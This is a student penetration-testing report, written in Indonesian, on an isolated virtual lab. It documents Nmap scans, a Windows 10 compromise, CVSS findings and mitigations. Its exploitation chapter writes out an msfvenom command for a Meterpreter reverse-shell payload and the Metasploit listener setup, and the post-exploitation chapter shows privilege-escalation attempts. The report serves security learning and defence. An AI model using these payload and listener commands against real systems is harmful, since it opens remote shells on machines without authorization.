

PENETRATION TESTING REPORT

Cybersecurity Portfolio

NAMA : Asep Dwi NurMaulid
UNIVERSITAS : UTA '45 Jakarta
TANGGAL : 31 Mei 2026
ENVIRONMENT : Isolated Virtua Lab

Bab 1 Executive Summary

Laporan ini mendokumentasikan hasil pengujian penetrasi yang dilakukan terhadap sebuah sistem Windows 10 di lingkungan laboratorium virtual yang sepenuhnya terisolasi dari jaringan nyata. Seluruh aktivitas pengujian dilakukan menggunakan mesin virtual berbasis VirtualBox dengan jaringan Host-Only sehingga tidak ada sistem pihak lain yang terpengaruh.

Pengujian berhasil mendemonstrasikan bahwa sistem target dapat dikompromisi melalui payload `reverse_tcp` yang dikirimkan via shared folder sebagai simulasi serangan phishing. Setelah payload dieksekusi oleh pengguna di sisi target, sesi Meterpreter berhasil terbuka dan attacker memperoleh akses remote shell sebagai user `WNDSDDUMMY\WDS`.

Percobaan privilege escalation ke level SYSTEM dilakukan menggunakan dua teknik yaitu token impersonation via `incognito` dan perintah `getsystem`, namun keduanya tidak berhasil karena sistem target memiliki security control yang aktif. Meskipun demikian, enumerasi pengguna yang sedang login berhasil dilakukan menggunakan modul post-exploitation bawaan Metasploit.

Secara keseluruhan, pengujian ini menemukan tiga temuan utama dengan tingkat risiko yang bervariasi dari Critical hingga Medium. Rekomendasi mitigasi telah disusun berdasarkan prioritas dan urgensi penanganan masing-masing temuan.

Ringkasan Risiko

Severity	Jumlah	Deskripsi
Critical	1	Remote Code Execution via payload <code>reverse_tcp</code>
High	1	Percobaan Privilege Escalation
Medium	1	Enumerasi pengguna yang berhasil dilakukan

Bab 2 Metodologi

Pengujian penetrasi ini menggunakan kerangka kerja PTES (Penetration Testing Execution Standard) sebagai panduan alur kerja, dikombinasikan dengan MITRE ATT&CK Framework untuk pemetaan teknik serangan yang digunakan selama pengujian. Pendekatan ini dipilih karena merupakan standar yang digunakan secara luas oleh konsultan penetration testing profesional.

Lingkungan pengujian terdiri dari dua mesin virtual yang terhubung melalui jaringan Host-Only VirtualBox. Mesin pertama adalah Kali Linux sebagai attacker dengan alamat IP 192.168.56.101, dan mesin kedua adalah Windows 10 sebagai target dengan alamat IP 192.168.56.103. Seluruh lalu lintas jaringan terisolasi di dalam subnet 192.168.56.0/24 dan tidak dapat mengakses jaringan eksternal.

Lingkungan Lab

Role	Sistem Operasi	IP Address
Attacker	Kali Linux	192.168.56.101
Target	Windows 10 22H2+ (Build 19045)	192.168.56.103
Jaringan	VirtualBox Host-Only	192.168.56.0/24

Tools yang Digunakan

Kategori	Tools
Network Scanning	Nmap 7.98
Payload Generation	MSFvenom
Exploitation Framework	Metasploit Framework
Malware Detection	YARA Rules
Metodologi	PTES, MITRE ATT&CK, CVSS v3.1

Pemetaan MITRE ATT&CK

Taktik	Teknik	ID
Initial Access	Phishing: Malicious Attachment	T1566.001
Execution	User Execution	T1204.002

Defense Evasion	Obfuscated Files	T1027
Discovery	System Owner/User Discovery	T1033
Privilege Escalation	Access Token Manipulation	T1134
Command and Control	Application Layer Protocol	T1071.001

Bab 3 Reconnaissance dan Scanning

Fase reconnaissance merupakan tahapan awal dalam pengujian penetrasi yang bertujuan untuk mengumpulkan informasi sebanyak mungkin mengenai target sebelum melakukan eksploitasi. Pada fase ini digunakan alat Nmap versi 7.98 untuk melakukan tiga jenis pemindaian yaitu host discovery, port dan service scanning, serta vulnerability scanning.

Phase 1 Host Discovery

Pemindaian pertama dilakukan untuk mengidentifikasi host yang aktif di dalam subnet 192.168.56.0/24. Perintah yang digunakan adalah sebagai berikut.

```
nmap -sn 192.168.56.0/24
```

Hasil pemindaian menunjukkan bahwa terdapat 5 host yang aktif dari total 256 alamat IP yang diperiksa dalam waktu 7.90 detik. Target yang dipilih untuk pengujian lanjutan adalah host dengan alamat IP 192.168.56.103.

IP Address	Status	Latency
192.168.56.1	Aktif	0.0012s
192.168.56.100	Aktif	0.0014s
192.168.56.101	Aktif	Lokal
192.168.56.102	Aktif	Lokal
192.168.56.103 (target)	Aktif	0.0066s

```
(kali㉿kali)-[~]
└─$ nmap -sn 192.168.56.0/24
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-31 17:10 -0400
Nmap scan report for 192.168.56.1
Host is up (0.0012s latency).
MAC Address: 0A:00:27:00:00:13 (Unknown)
Nmap scan report for 192.168.56.100
Host is up (0.0014s latency).
MAC Address: 08:00:27:16:37:82 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.103
Host is up (0.0066s latency).
MAC Address: 08:00:27:A8:A4:24 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.101
Host is up.
Nmap scan report for 192.168.56.102
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 7.90 seconds
```

Gambar 3. 1 Hasil Host Discovery pada subnet 192.168.56.0/24 menggunakan Nmap 7.98

Phase 2 Port dan Service Scanning

Pemindaian kedua dilakukan secara lebih mendalam terhadap target 192.168.56.103 untuk mengidentifikasi port yang terbuka, versi service yang berjalan, serta sistem operasi yang digunakan.

```
nmap -sV -sC -O -oN nmap_output_1.txt 192.168.56.103
```

Hasil pemindaian menunjukkan bahwa seluruh 1000 port TCP berada dalam kondisi filtered dengan status no-response. Kondisi ini menandakan bahwa terdapat firewall host yang secara aktif menjatuhkan (drop) paket dari scanner. Berbeda dengan kondisi closed yang berarti tidak ada service yang berjalan, kondisi filtered berarti service kemungkinan berjalan namun diblokir dari akses luar. Identifikasi sistem operasi juga tidak dapat dilakukan secara spesifik karena terlalu banyak fingerprint yang cocok.

```
(kali㉿kali)-[~]  
$ nmap -sV -sC -O -oN nmap_output_1.txt 192.168.56.103  
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-31 17:10 -0400  
Nmap scan report for 192.168.56.103  
Host is up (0.0013s latency).  
All 1000 scanned ports on 192.168.56.103 are in ignored states.  
Not shown: 1000 filtered tcp ports (no-response)  
MAC Address: 08:00:27:A8:A4:24 (Oracle VirtualBox virtual NIC)  
Too many fingerprints match this host to give specific OS details  
Network Distance: 1 hop
```

Gambar 3. 2 Hasil Port dan Service Scanning terhadap target 192.168.56.103

Phase 3 Vulnerability Scanning

Pemindaian ketiga difokuskan pada port-port yang umum digunakan pada sistem Windows yaitu port 80 (HTTP), 135 (MSRPC), 139 (NetBIOS), 445 (SMB), dan 3389 (RDP).

```
nmap --script vuln -p 80,135,139,445,3389 192.168.56.103 -oN vuln_scan_1.txt
```

Port	Service	Status
80	HTTP	Filtered
135	MSRPC	Filtered
139	NetBIOS-SSN	Filtered
445	Microsoft-DS (SMB)	Filtered

3389	MS-WBT-Server (RDP)	Filtered
------	---------------------	----------

```

(kali㉿kali)-[~]
$ nmap --script vuln -p 80,135,139,445,3389 192.168.56.103 -oN vuln_scan_1.txt
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-31 17:11 -0400
Nmap scan report for 192.168.56.103
Host is up (0.00047s latency).

PORT      STATE      SERVICE
80/tcp    filtered  http
135/tcp    filtered  msrpc
139/tcp    filtered  netbios-ssn
445/tcp    filtered  microsoft-ds
3389/tcp   filtered  ms-wbt-server
MAC Address: 08:00:27:A8:A4:24 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 16.95 seconds

```

Gambar 3. 3 Hasil Vulnerability Scanning pada port 80, 135, 139, 445, dan 3389

Seluruh port yang dipindai berada dalam kondisi filtered sehingga tidak ada vulnerability yang dapat dideteksi secara eksternal. Karena tidak ada port yang terbuka dan dapat dieksploitasi secara langsung melalui jaringan, pengujian dilanjutkan menggunakan vektor serangan non-network yaitu melalui payload delivery via shared folder yang mensimulasikan serangan phishing attachment.

Bab 4 Exploitation

Fase eksploitasi dilakukan setelah fase reconnaissance tidak menemukan port yang terbuka secara langsung. Metode yang dipilih adalah payload delivery melalui shared folder VirtualBox yang mensimulasikan skenario nyata di mana seorang pengguna membuka file attachment berbahaya yang diterima melalui email phishing.

Ringkasan Vektor Serangan

Fase	Teknik	MITRE ID
Initial Access	Phishing: Malicious Attachment	T1566.001
Execution	User Execution	T1204.002
Defense Evasion	Obfuscated Files	T1027
Command and Control	Application Layer Protocol	T1071.001

Langkah Pengujian

Langkah 1 Generate Payload

Payload dibuat menggunakan MSFvenom dengan tipe Meterpreter reverse TCP. Payload ini akan menghubungkan sistem target kembali ke mesin attacker secara otomatis ketika dieksekusi.

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=4444 -f exe > payload.exe
```

Langkah 2 Setup Listener

Sebelum payload dikirimkan ke target, listener harus diaktifkan terlebih dahulu di mesin Kali Linux menggunakan Metasploit Framework agar siap menerima koneksi balik dari payload.

```
msfconsole -q
```

```
use exploit/multi/handler
```

```
set payload windows/meterpreter/reverse_tcp
```

```
set LHOST 192.168.56.101
```

```
set LPORT 4444
```

```
exploit -j
```



```

msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.56.101
LHOST => 192.168.56.101
msf exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf exploit(multi/handler) > exploit -j
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.56.101:4444

```

Gambar 3. 4 Listener Ready

Langkah 3 Payload Delivery

Payload dipindahkan ke sistem target melalui shared folder VirtualBox. Proses ini mensimulasikan skenario di mana pengguna menerima file berbahaya melalui email atau media transfer lainnya, kemudian menjalankannya tanpa menyadari bahwa file tersebut adalah malware.

Langkah 4 Session Established

Setelah payload dieksekusi di sisi target, sesi Meterpreter berhasil terbuka. Berikut adalah informasi sistem yang berhasil dikumpulkan dari sesi tersebut.

Parameter	Nilai
Computer	WNDSDDUMMY
Sistem Operasi	Windows 10 22H2+ (Build 19045)
Arsitektur	x64
Domain	WORKGROUP
User Aktif	WNDSDDUMMY\WDS
Process ID	7500
Meterpreter	x86/windows

Dampak

Attacker berhasil mendapatkan akses remote shell ke sistem target sebagai user WNDSDDUMMY\WDS tanpa memerlukan kredensial apapun. Dengan akses ini, attacker dapat menjalankan perintah-perintah pada sistem target dari jarak jauh selama sesi Meterpreter aktif.

Rekomendasi Mitigasi

1. Aktifkan Windows Defender Real-time Protection untuk mendeteksi dan memblokir payload sebelum dieksekusi.
2. Terapkan Application Whitelisting agar hanya aplikasi yang telah disetujui yang dapat dijalankan.
3. Blokir eksekusi file berekstensi .exe yang berasal dari lokasi tidak dikenal atau media eksternal.
4. Pasang solusi EDR seperti Microsoft Defender for Endpoint untuk perlindungan yang lebih komprehensif.

Bab 5 Post-Exploitation

Setelah akses awal berhasil diperoleh melalui sesi Meterpreter, tahap selanjutnya adalah melakukan enumerasi sistem dan percobaan peningkatan hak akses (privilege escalation). Tujuan dari fase ini adalah untuk memahami sejauh mana seorang attacker dapat bergerak di dalam sistem setelah mendapatkan akses awal.

Tingkat Akses Saat Ini

Parameter	Nilai
Computer	WNDSDDUMMY
User	WNDSDDUMMY\WDS
Sistem Operasi	Windows 10 22H2+ (Build 19045)
Domain	WORKGROUP
Integrity Level	Medium

Enumerasi Sistem

Enumerasi dilakukan menggunakan modul post-exploitation bawaan Metasploit untuk mengumpulkan informasi mengenai pengguna yang sedang aktif maupun yang pernah login ke sistem target. Teknik ini dipetakan ke MITRE ATT&CK dengan ID T1033 yaitu System Owner and User Discovery.

Hasil enumerasi menunjukkan bahwa terdapat satu pengguna yang sedang aktif yaitu WNDSDDUMMY\WDS dengan SID S-1-5-21-2130342140-1016094387-1665561186-1000. Selain itu juga ditemukan beberapa profil pengguna yang pernah login sebelumnya.

SID	Pengguna	Status
S-1-5-21-2130342140-...-1000	WNDSDDUMMY\WDS	Sedang aktif
S-1-5-18	SYSTEM	Profil sistem
S-1-5-19	LocalService	Profil layanan
S-1-5-20	NetworkService	Profil layanan

Current Logged Users	
=====	
SID	User
---	----
S-1-5-21-2130342140-1016094387-1665561186-1000	WNDSDDUMMY\WDS

Gambar 3. 5 Enum logged users

```
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: All pipe instances are busy. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
[-] Named Pipe Impersonation (RPCSS variant)
[-] Named Pipe Impersonation (PrintSpooler variant)
[-] Named Pipe Impersonation (EFSRPC variant - AKA EfsPotato)
```

Gambar 3. 6 Getsystem attempt

Percobaan Privilege Escalation

Percobaan peningkatan hak akses dilakukan menggunakan dua teknik yang dipetakan ke MITRE ATT&CK dengan ID T1134 yaitu Access Token Manipulation. Teknik pertama menggunakan ekstensi incognito untuk melakukan token impersonation, namun gagal karena tidak tersedia token SYSTEM yang dapat digunakan. Teknik kedua menggunakan perintah getsystem yang mencoba beberapa metode pipe impersonation, namun seluruh metode tersebut ditolak oleh sistem.

Kegagalan privilege escalation ini menunjukkan bahwa sistem target memiliki security control yang cukup baik dalam mencegah eskalasi hak akses secara otomatis dari user standar. Meskipun demikian, akses sebagai user standar tetap memberikan kemampuan yang cukup bagi attacker untuk melakukan berbagai aktivitas berbahaya.

Analisis Dampak

Dengan akses sebagai user WNDSDDUMMY\WDS, attacker memiliki kemampuan untuk melakukan sejumlah tindakan berbahaya di antaranya adalah sebagai berikut.

- Melakukan enumerasi pengguna dan profil yang pernah login ke sistem.
- Mengakses file dan folder yang dimiliki oleh user aktif.
- Mengeksekusi perintah arbitrary di sistem target selama sesi Meterpreter aktif.
- Mengumpulkan informasi sensitif yang tersimpan di dalam profil pengguna.

Rekomendasi Mitigasi

1. Terapkan prinsip Least Privilege dengan membatasi hak akses setiap pengguna sesuai kebutuhan minimum.
2. Aktifkan Credential Guard di Windows 10/11 untuk melindungi token autentikasi dari manipulasi.
3. Pantau aktivitas mencurigakan melalui Windows Event Log dengan fokus pada Event ID 4624 dan 4672.
4. Pasang solusi EDR untuk mendeteksi perilaku post-exploitation secara real-time.

Bab 6 Findings dan CVSS Score

Bagian ini mendokumentasikan seluruh temuan dari pengujian penetrasi beserta penilaian risiko menggunakan standar CVSS versi 3.1. Setiap temuan disertai dengan identifikasi teknik MITRE ATT&CK yang relevan.

Finding 1 Remote Code Execution

Temuan pertama dan paling kritis adalah keberhasilan attacker dalam mengeksekusi kode berbahaya dari jarak jauh di sistem target tanpa memerlukan kredensial apapun. Payload berhasil dieksekusi dan membuka sesi Meterpreter yang memberikan kendali penuh atas sistem target.

Parameter	Detail
Severity	Critical
CVSS Score	9.8
CVSS Vector	AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
MITRE ATT&CK ID	T1566.001

Finding 2 Percobaan Privilege Escalation

Temuan kedua adalah percobaan peningkatan hak akses dari user standar ke level SYSTEM. Meskipun percobaan ini tidak berhasil karena adanya security control yang aktif, namun percobaan ini tetap menunjukkan bahwa attacker memiliki niat dan kemampuan untuk melakukan eskalasi hak akses.

Parameter	Detail
Severity	High
CVSS Score	7.8
CVSS Vector	AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK ID	T1134

Finding 3 Enumerasi Pengguna

Temuan ketiga adalah keberhasilan attacker dalam melakukan enumerasi pengguna yang sedang aktif maupun yang pernah login ke sistem target. Informasi ini dapat digunakan oleh attacker untuk merencanakan serangan lebih lanjut seperti credential stuffing atau targeted phishing.

Parameter	Detail
Severity	Medium
CVSS Score	5.3
CVSS Vector	AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK ID	T1033

Prioritas Remediasi

Finding	CVSS Score	Timeline Penanganan
Remote Code Execution	9.8	0 hingga 7 hari
Privilege Escalation	7.8	1 hingga 2 minggu
Enumerasi Pengguna	5.3	2 hingga 4 minggu

Bab 7 Rekomendasi Mitigasi

Berdasarkan temuan-temuan yang diperoleh selama pengujian, berikut adalah rekomendasi mitigasi yang disusun berdasarkan tingkat prioritas dan urgensi penanganan. Rekomendasi dibagi menjadi tiga kategori waktu yaitu segera, jangka pendek, dan jangka panjang.

Segera (0 hingga 7 hari)

Langkah-langkah berikut perlu dilakukan sesegera mungkin untuk menutup celah keamanan yang paling kritis.

1. Aktifkan Windows Defender Real-time Protection pada seluruh endpoint untuk mendeteksi dan memblokir payload berbahaya sebelum sempat dieksekusi.
2. Terapkan kebijakan pemblokiran eksekusi file berekstensi .exe yang berasal dari lokasi tidak dikenal, media eksternal, atau folder temporary.
3. Implementasikan Application Whitelisting menggunakan fitur AppLocker bawaan Windows agar hanya aplikasi yang telah disetujui yang dapat dijalankan oleh pengguna.

Jangka Pendek (1 hingga 4 minggu)

Langkah-langkah berikut perlu dilakukan dalam waktu satu hingga empat minggu untuk memperkuat postur keamanan secara keseluruhan.

1. Pasang solusi EDR seperti Microsoft Defender for Endpoint atau solusi sejenis untuk memberikan visibilitas yang lebih baik terhadap aktivitas mencurigakan di seluruh endpoint.
2. Aktifkan Credential Guard di Windows 10 dan Windows 11 untuk melindungi token autentikasi dari manipulasi oleh attacker.
3. Terapkan prinsip Least Privilege secara konsisten dengan memastikan setiap pengguna hanya memiliki hak akses minimum yang diperlukan untuk menjalankan tugasnya.
4. Konfigurasi pemantauan Windows Event Log dengan fokus pada Event ID 4624 dan 4672 untuk mendeteksi aktivitas login dan penggunaan hak istimewa yang mencurigakan.

Jangka Panjang (1 hingga 3 bulan)

Langkah-langkah berikut perlu dilakukan dalam jangka panjang untuk membangun program keamanan yang berkelanjutan.

1. Selenggarakan Security Awareness Training secara berkala bagi seluruh pengguna dengan fokus pada pengenalan serangan phishing dan rekayasa sosial.
2. Pasang solusi Network Monitoring untuk mendeteksi komunikasi Command and Control yang mencurigakan dari endpoint ke server eksternal.

3. Implementasikan SIEM (Security Information and Event Management) untuk agregasi dan korelasi log dari seluruh sistem secara terpusat.
4. Lakukan penetration testing secara berkala minimal setiap enam bulan untuk memastikan efektivitas kontrol keamanan yang telah diterapkan.

Bab 8 Kesimpulan

Pengujian penetrasi yang dilakukan terhadap sistem Windows 10 di lingkungan laboratorium virtual ini berhasil mendemonstrasikan bahwa sebuah sistem dapat dikompromisi melalui serangan payload delivery yang mensimulasikan teknik phishing. Keberhasilan ini menunjukkan betapa pentingnya pelatihan kesadaran keamanan bagi pengguna sebagai garis pertahanan pertama terhadap serangan siber.

Meskipun akses awal berhasil diperoleh, percobaan privilege escalation ke level SYSTEM tidak berhasil karena sistem target memiliki beberapa lapisan kontrol keamanan yang aktif. Hal ini menunjukkan bahwa pendekatan defense-in-depth atau pertahanan berlapis terbukti efektif dalam membatasi dampak dari akses yang tidak sah.

Dari seluruh rangkaian pengujian ini, terdapat beberapa pelajaran penting yang diperoleh. Pertama, konfigurasi firewall yang tepat sangat efektif dalam membatasi attack surface karena seluruh port target berada dalam kondisi filtered dan tidak dapat dieksploitasi secara langsung melalui jaringan. Kedua, security control yang aktif seperti mekanisme pencegahan privilege escalation terbukti berperan penting dalam membatasi pergerakan attacker di dalam sistem. Ketiga, meskipun tidak ada port yang terbuka, serangan tetap dapat berhasil jika pengguna tidak waspada terhadap file berbahaya yang diterima melalui berbagai media.

Rekomendasi utama yang perlu segera ditindaklanjuti adalah mengaktifkan Windows Defender Real-time Protection, menerapkan Application Whitelisting, dan menyelenggarakan Security Awareness Training secara berkala. Ketiga langkah ini secara langsung menjawab vektor serangan yang berhasil dieksploitasi dalam pengujian ini.

Seluruh aktivitas yang didokumentasikan dalam laporan ini dilakukan di lingkungan laboratorium virtual yang sepenuhnya terisolasi untuk keperluan pembelajaran keamanan siber. Tidak ada sistem nyata milik pihak lain yang diuji atau terpengaruh selama proses pengujian berlangsung.